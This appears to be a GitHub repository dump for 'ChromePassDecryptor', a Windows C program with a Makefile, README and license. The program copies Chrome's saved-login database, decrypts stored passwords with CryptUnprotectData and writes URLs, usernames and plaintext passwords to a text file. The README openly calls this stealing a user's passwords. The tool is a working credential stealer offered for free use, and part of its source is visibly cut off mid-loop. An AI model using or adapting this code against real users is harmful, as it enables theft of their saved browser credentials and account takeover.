├── LICENSE ├── ChromePass ├── Makefile.txt └── ChromePassDecryptor.c └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2014 thatskriptkid 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /ChromePass/Makefile.txt: -------------------------------------------------------------------------------- 1 | CC=cl.exe 2 | CCFLAGS=/nologo /W1 /c /MT 3 | 4 | LNK=link.exe 5 | LDFLAGS=/nologo 6 | 7 | all : ChromePassDecryptor 8 | 9 | ChromePassDecryptor: ChromePass sqlite3 10 | $(LNK) $(LDFLAGS) /out:.\$@.exe $*.obj sqlite3.obj 11 | 12 | 13 | ChromePass: ChromePassDecryptor.obj 14 | $(CC) $(CCFLAGS) /c ChromePassDecryptor.c 15 | 16 | sqlite3: sqlite3.obj 17 | $(CC) $(CCFLAGS) /c sqlite/sqlite3.c 18 | 19 | clean: 20 | del *.obj 21 | 22 | cleanall: 23 | del $(OUTPUT_DIR)\*.exe *.obj -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *THIS CODE DOESNT WORK IN NEW CHROME VERSION (90). Please refer https://github.com/0xfd3/Chrome-Password-Recovery* 2 | 3 | Dump Google Chrome database data and save url,username,decrypted password (plain text) in txt file. 4 | Tested on Google Chrome Version 67.0.3396.62 (Official Build) (64-bit). 5 | 6 | !!!ATTENTION!!! Dumper MUST BE RUN on THE SAME computer where Chrome was installed and passwords were saved AND run under THE SAME user that saved passwords and whom passwords you want to steal. It means that you can not just steal SQLLite database file and decrypt it later. It means that you can not decrypt passwords of user TEST_USER having SYSTEM privileges. 7 | 8 | Why? Because I use CryptUnprotectData() function. 9 | 10 | All code is licensed under WTFPL. You just DO WHAT THE FUCK YOU WANT TO. You can even assign autorship to YOURSELF. 11 | -------------------------------------------------------------------------------- /ChromePass/ChromePassDecryptor.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | #ifndef UNICODE 3 | #define UNICODE 4 | #endif 5 | 6 | #ifndef _UNICODE 7 | #define _UNICODE 8 | #endif 9 | 10 | #pragma comment(lib, "crypt32.lib") 11 | 12 | #include 13 | #include 14 | #include "sqlite3.h" 15 | #include /* CSIDL_LOCAL_APPDATA */ 16 | 17 | #define CHROME_APP_DATA_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data" 18 | #define TEMP_DB_PATH ".\\chromedb_tmp" 19 | #define USER_DATA_QUERY "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS" 20 | #define SECRET_FILE ".\\passwords.txt" 21 | #define ROW_ID_COUNT 100 22 | 23 | FILE *file_with_secrets; 24 | int row_id = 1; 25 | 26 | static int process_row(void *passed_db, int argc, char **argv, char **col_name); 27 | static int fill_secret_file(char *url, char *username, unsigned char *password); 28 | 29 | int main(void) { 30 | sqlite3 *logindata_database = NULL; /* represents database where Chrome holds passwords */ 31 | char *err_msg = NULL; 32 | int result; 33 | TCHAR original_db_location[MAX_PATH]; /* original location of Login Data */ 34 | 35 | memset(original_db_location, 0, MAX_PATH); 36 | 37 | if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, original_db_location))) { 38 | fprintf(stderr, "SHGetFolderPath() -> Failed to get path to AppData\n"); 39 | return 0; 40 | } 41 | 42 | lstrcat(original_db_location, TEXT(CHROME_APP_DATA_PATH)); 43 | 44 | /* Copy chrome database (Login Data) to a temporary location due to possible lock */ 45 | result = CopyFile(original_db_location, TEXT(TEMP_DB_PATH), FALSE); 46 | if (!result) { 47 | fprintf(stderr, "CopyFile() -> Cannot copy original database\n"); 48 | return 0; 49 | } 50 | 51 | result = sqlite3_open_v2(TEMP_DB_PATH, &logindata_database, SQLITE_OPEN_READONLY, NULL); 52 | if (result) { 53 | fprintf(stderr, "sqlite3_open_v2() -> Cannot open database: %s\n", sqlite3_errstr(result)); 54 | goto out; 55 | } 56 | 57 | file_with_secrets = fopen(SECRET_FILE, "w+"); 58 | if (!file_with_secrets) { 59 | fprintf(stderr, "fopen() -> File created failed\n"); 60 | goto out; 61 | } 62 | 63 | result = sqlite3_exec(logindata_database, USER_DATA_QUERY, process_row, logindata_database, &err_msg); 64 | if (result != SQLITE_OK) 65 | fprintf(stderr, "sqlite3_exec() -> %s (%s)\n", err_msg, sqlite3_errstr(result)); 66 | 67 | printf("Done!\n"); 68 | sqlite3_free(err_msg); 69 | fclose(file_with_secrets); 70 | out: 71 | sqlite3_close(logindata_database); 72 | DeleteFile(TEXT(TEMP_DB_PATH)); 73 | return 0; 74 | } 75 | /* 76 | * 4th argument of sqlite3_exec is the 1st argument to callback 77 | * argc always equals 3, because of our USER_DATA_QUERY 78 | * argv[0] = ORIGIN_URL 79 | * argv[1] = USERNAME_VALUE 80 | * argv[2] = PASSWORD_VALUE 81 | */ 82 | static int process_row(void *passed_db, int argc, char **argv, char **col_name) { 83 | DATA_BLOB encrypted_password; 84 | DATA_BLOB decrypted_password; 85 | sqlite3_blob *blob = NULL; 86 | sqlite3 *db = (sqlite3*)passed_db; 87 | BYTE *blob_data = NULL; 88 | unsigned char *password_array = NULL; 89 | int result; 90 | int blob_size; 91 | int i; 92 | 93 | while (sqlite3_blob_open(db, "main", "logins", "password_value", row_id++, 0, &blob) != SQLITE_OK && row_id <= ROW_ID_COUNT); 94 | 95 | blob_size = sqlite3_blob_bytes(blob); 96 | 97 | blob_data = malloc(blob_size); 98 | if (!blob_data) { 99 | fprintf(stderr, "malloc() -> Failed to allocate memory for blob_data\n"); 100 | goto out_blob; 101 | } 102 | 103 | result = sqlite3_blob_read(blob, blob_data, blob_size, 0); 104 | if (result != SQLITE_OK) { 105 | fprintf(stderr, "sqlite3_blob_read() -> %s\n", sqlite3_errstr(result)); 106 | goto out_blob_data; 107 | } 108 | 109 | encrypted_password.pbData = blob_data; 110 | encrypted_password.cbData = blob_size; 111 | 112 | if (!CryptUnprotectData(&encrypted_password, NULL, NULL, NULL, NULL, 0, &decrypted_password)) { 113 | fprintf(stderr, "CryptUnprotectData() -> Failed to decrypt blob\n"); 114 | goto out_blob_data; 115 | } 116 | 117 | password_array = malloc(decrypted_password.cbData + 1); 118 | if (!password_array) { 119 | fprintf(stderr, "malloc() -> Failed to allocate memory for password array\n"); 120 | goto out_crypt; 121 | } 122 | 123 | memset(password_array, 0, decrypted_password.cbData); 124 | 125 | for (i = 0; i Failed to write to file\n"); 132 | 133 | free(password_array); 134 | out_crypt: 135 | LocalFree(decrypted_password.pbData); 136 | out_blob_data: 137 | free(blob_data); 138 | out_blob: 139 | sqlite3_blob_close(blob); 140 | out_db: 141 | sqlite3_close(db); 142 | return 0; 143 | } 144 | 145 | static int fill_secret_file(char *url, char *username, unsigned char *password) { 146 | fputs("URL: ", file_with_secrets); 147 | fputs(url, file_with_secrets); 148 | fputs("\nLOGIN: ", file_with_secrets); 149 | fputs(username, file_with_secrets); 150 | fputs("\nPASWWORD: ", file_with_secrets); 151 | fputs(password, file_with_secrets); 152 | fputs("\n\n", file_with_secrets); 153 | 154 | if (ferror(file_with_secrets)) 155 | return 1; 156 | return 0; 157 | } 158 | --------------------------------------------------------------------------------